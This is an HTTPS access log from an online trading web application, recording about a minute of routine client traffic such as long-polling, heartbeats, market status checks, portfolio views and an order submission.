[09/Jan/2026:15:04:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1724
[09/Jan/2026:15:04:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:04:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942534899 HTTP/1.1" -
[09/Jan/2026:15:04:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942541201 HTTP/1.1" -
[09/Jan/2026:15:04:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942535631 HTTP/1.1" -
[09/Jan/2026:15:04:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:04:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942536760 HTTP/1.1" -
[09/Jan/2026:15:04:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942539936 HTTP/1.1" -
[09/Jan/2026:15:04:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942546246 HTTP/1.1" -
[09/Jan/2026:15:04:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942540734 HTTP/1.1" -
[09/Jan/2026:15:04:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942541810 HTTP/1.1" -
[09/Jan/2026:15:04:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:04:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942544968 HTTP/1.1" -
[09/Jan/2026:15:04:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:04:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942551319 HTTP/1.1" -
[09/Jan/2026:15:04:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942545829 HTTP/1.1" -
[09/Jan/2026:15:04:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942546947 HTTP/1.1" -
[09/Jan/2026:15:04:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:04:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1971
[09/Jan/2026:15:04:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942550033 HTTP/1.1" -
[09/Jan/2026:15:04:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942556425 HTTP/1.1" -
[09/Jan/2026:15:04:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942550866 HTTP/1.1" -
[09/Jan/2026:15:04:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942552157 HTTP/1.1" -
[09/Jan/2026:15:04:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:04:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942555077 HTTP/1.1" -
[09/Jan/2026:15:04:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942561500 HTTP/1.1" -
[09/Jan/2026:15:04:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942555964 HTTP/1.1" -
[09/Jan/2026:15:04:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942557210 HTTP/1.1" -
[09/Jan/2026:15:04:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:04:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942560117 HTTP/1.1" -
[09/Jan/2026:15:04:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942566533 HTTP/1.1" -
[09/Jan/2026:15:04:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942561044 HTTP/1.1" -
[09/Jan/2026:15:04:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:04:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:04:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942562339 HTTP/1.1" -
[09/Jan/2026:15:04:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:04:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942565165 HTTP/1.1" -
[09/Jan/2026:15:04:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942571656 HTTP/1.1" -
[09/Jan/2026:15:04:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:04:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:04:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942566081 HTTP/1.1" -
[09/Jan/2026:15:04:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942567398 HTTP/1.1" -
[09/Jan/2026:15:05:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942570203 HTTP/1.1" -
[09/Jan/2026:15:05:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942576685 HTTP/1.1" -
[09/Jan/2026:15:05:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942571111 HTTP/1.1" -
[09/Jan/2026:15:05:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942572529 HTTP/1.1" -
[09/Jan/2026:15:05:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:05:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942575227 HTTP/1.1" -
[09/Jan/2026:15:05:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942581753 HTTP/1.1" -
[09/Jan/2026:15:05:06 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942576201 HTTP/1.1" -
[09/Jan/2026:15:05:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942577685 HTTP/1.1" -
[09/Jan/2026:15:05:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942580245 HTTP/1.1" -
[09/Jan/2026:15:05:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942586849 HTTP/1.1" -
[09/Jan/2026:15:05:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942581228 HTTP/1.1" -
[09/Jan/2026:15:05:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942582820 HTTP/1.1" -
[09/Jan/2026:15:05:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942585292 HTTP/1.1" -
[09/Jan/2026:15:05:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942591915 HTTP/1.1" -
[09/Jan/2026:15:05:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942586388 HTTP/1.1" -
[09/Jan/2026:15:05:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_454545_256x240.png HTTP/1.1" 6992
[09/Jan/2026:15:05:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:05:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942587941 HTTP/1.1" -
[09/Jan/2026:15:05:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:05:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1204
[09/Jan/2026:15:05:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:05:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942590312 HTTP/1.1" -
[09/Jan/2026:15:05:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942596947 HTTP/1.1" -
[09/Jan/2026:15:05:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942591497 HTTP/1.1" -
[09/Jan/2026:15:05:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:05:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=396D09552B9B1DF93D1D554CBD6443BE HTTP/1.1" 1022
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:05:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:05:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:05:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
